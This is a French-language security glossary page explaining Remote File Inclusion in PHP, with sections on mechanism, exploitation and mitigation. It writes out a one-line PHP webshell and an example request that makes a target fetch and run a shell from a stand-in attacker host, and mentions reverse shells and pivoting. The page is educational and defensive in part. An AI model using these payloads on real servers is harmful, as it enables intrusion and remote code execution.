Remote File Inclusion (RFI)
hackingDéfinition
La Remote File Inclusion (RFI) est une vulnérabilité web similaire à la LFI mais permettant d'inclure des fichiers hébergés sur des serveurs distants (sous le contrôle de l'attaquant), conduisant quasi-systématiquement à une Remote Code Execution (RCE). Elle survient quand les fonctions d'inclusion de fichiers acceptent des URLs distantes et que la configuration du serveur le permet.
En PHP, la RFI est possible quand la directive allow_url_include = On est activée dans php.ini (désactivée par défaut depuis PHP 5.2). Avec cette option activée, include('http://attaquant.com/shell.php') télécharge et exécute le fichier PHP distant. Un attaquant peut donc injecter une URL vers un webshell hébergé sur son serveur : ?page=http://attaquant.com/shell.php conduit à l'exécution de shell.php sur le serveur cible.
La RFI est plus grave que la LFI car elle mène directement à la RCE sans nécessiter de contournements supplémentaires comme le log poisoning. Un webshell basique PHP (<?php system($_GET['cmd']); ?>) suffit pour obtenir une exécution de commandes arbitraires. Des webshells plus sophistiqués comme c99, r57, ou b374k offrent des interfaces complètes de gestion de fichiers, d'exécution de commandes, et d'accès aux bases de données.
Les wrappers PHP étendent également les possibilités de RFI : data://text/plain;base64,... permet d'inclure du code PHP fourni directement dans le paramètre (sans serveur distant requis), et phar:// peut être exploité pour des injections via des archives PHAR qui déclenchent la désérialisation.
Bien que la configuration PHP par défaut désactive allow_url_include, des environnements legacy ou mal configurés restent vulnérables. D'autres langages web (Python, Node.js, Ruby) peuvent avoir des vulnérabilités d'inclusion distante similaires selon leurs APIs de chargement de fichiers.
Fonctionnement
Serveur vulnérable (allow_url_include = On) : code include($_GET['page']);. Attaque : héberger un webshell sur serveur attaquant (echo '<?php system($_GET["c"]);?>' > shell.php), puis appeler ?page=http://attaquant.com/shell.php&c=id. Le serveur cible télécharge shell.php depuis l'attaquant et l'exécute, retournant le résultat de id dans la page HTML. Accès complet en tant que www-data obtenu en une requête.
Exploitation offensive
Après une RFI → RCE initiale, la prochaine étape est le déploiement d'un webshell persistant ou un reverse shell complet vers un listener Netcat/Metasploit. La RFI révèle souvent une mauvaise configuration générale du serveur (PHP mal configuré) suggérant d'autres vulnérabilités exploitables. Le pivoting depuis le serveur web vers le réseau interne est possible une fois le shell obtenu.
Détection et mitigation
Désactiver allow_url_include dans php.ini est la mitigation principale pour PHP. Les WAF détectent les URLs complètes (http://, https://) dans les paramètres d'inclusion. La surveillance des connexions réseau sortantes depuis le processus web (accès à des domaines externes non autorisés) détecte les RFI exploitées. Le principe du moindre privilège pour le processus web limite les actions possibles après RFI.
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés.
Un projet cybersécurité ?
Expert dispo · Réponse 24h